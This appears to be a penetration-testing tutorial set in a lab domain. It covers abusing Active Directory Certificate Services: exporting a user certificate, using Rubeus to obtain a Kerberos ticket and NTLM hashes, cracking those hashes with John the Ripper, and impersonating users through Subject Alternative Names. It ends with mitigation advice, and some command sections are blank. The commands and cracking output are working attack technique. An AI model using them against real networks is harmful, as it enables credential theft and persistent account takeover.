Active Directory Certificate Services (AD CS) provides a way of generating certificates in an Active Directory environment. These certificates can be used for a variety of purposes, including file encryption and secure email.
Typically users are able to request certificates for their accounts, assuming they are in possession of the accounts credentials. New certificates can be requested via the AD CS Web Service, or by using the certificates MMC snap in.
If an attacker gains access to a user account, they may be able to request a certificate on the users behalf. This certificate can be used to generate a Kerberos Ticket Granting Ticket (TGT) and authenticate to network resources.
It’s important to note that if the user changes their account password, an attacker in possession of a certificate will still be able to authenticate to network resources using the identity of that user.
This attack can be carried out using Rubeus.
Scenario
A Windows 2019 domain was configured with AD CS enabled. All other configuration is in the default state.
User account “Zelda” has access to share \\DC1\Share. User account “link” is unable to access this share.
If Link can export Zelda’s certificate, they can use it to authenticate to the share.
Exporting the Certificate via MMC
First we need to use Zelda’s account to export their user certificate as a .pfx file;
Run mmc.exe, and add the certificates snap in.
Right click on “Certificates – Current User”
Select “Personal” > “All Tasks” > “Request New Certificate”
Select the remaining default options to request the certificate.
Next, within MMC right click on the newly requested certificate and select “All Tasks” > “Export”.
Select export with Private Key when prompted, set a password for the key file and leave the remaining options as their default.
Exporting a Certificate via PowerShell
Alternatively, if GUI access to the host isn’t available, PowerShell can be used to request and export the certificate
Requesting a Certificate:
Exporting the Certificate:
Generating a Kerberos TGT
Using Rubeus from an elevated command prompt we can then use the certificate to generate a Kerberos TGT:
Rubeus.exe asktgt /certificate:zelda.pfx /password:pass /user:zelda /ptt
Access to the share should now be allowed:
Extracting NTLM Credentials
By using the /getcredentials flag with Rubeus, we can also extract the NTLM hash for an account using it’s certificate:
The NTLM hash can then be cracked offline:
┌──(kali㉿kali)-[~]
└─$ echo 7FACDC498ED1680C4FD1448319A8C04F > hash.txt
┌──(kali㉿kali)-[~]
└─$ john --format=nt hash.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Password1! (?)
If the user then changes their password at a later date, we can retrieve the new value with the same certificate:
Again this value can be cracked offline to reveal the new account password:
┌──(kali㉿kali)-[~]
└─$ echo 07D128430A6338F8D537F6B3AE1DC136 > hash.txt
┌──(kali㉿kali)-[~]
└─$ john --format=nt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Password2! (?)
Privilege Escalation using Subject Alternative Names
If a user can specify an alternative name whilst generating a certificate, they are able to impersonate another user;
Using the “link” account we are able to add “zelda” to the users alternative name:
When this ticket is imported by link, they will then get access to Zelda’s TGT ticket:
Conclusion
User certificates provide attackers with an excellent way of maintaining access to a target user account, regardless of if the target user cycles their main account credentials.
If a template allows for user authentication, and a user can specify a Subject Alternative Name this may lead to privilege escalation.
In terms of general recommendations to mitigate this type of attack:
De-provisioning user accounts is recommended when a suspected account compromise has taken place.
Ingesting AD CS certificate logs into SIEM is recommended for incident response purposes.
Limiting access to client authentication certificates is recommended if they are not required in the environment.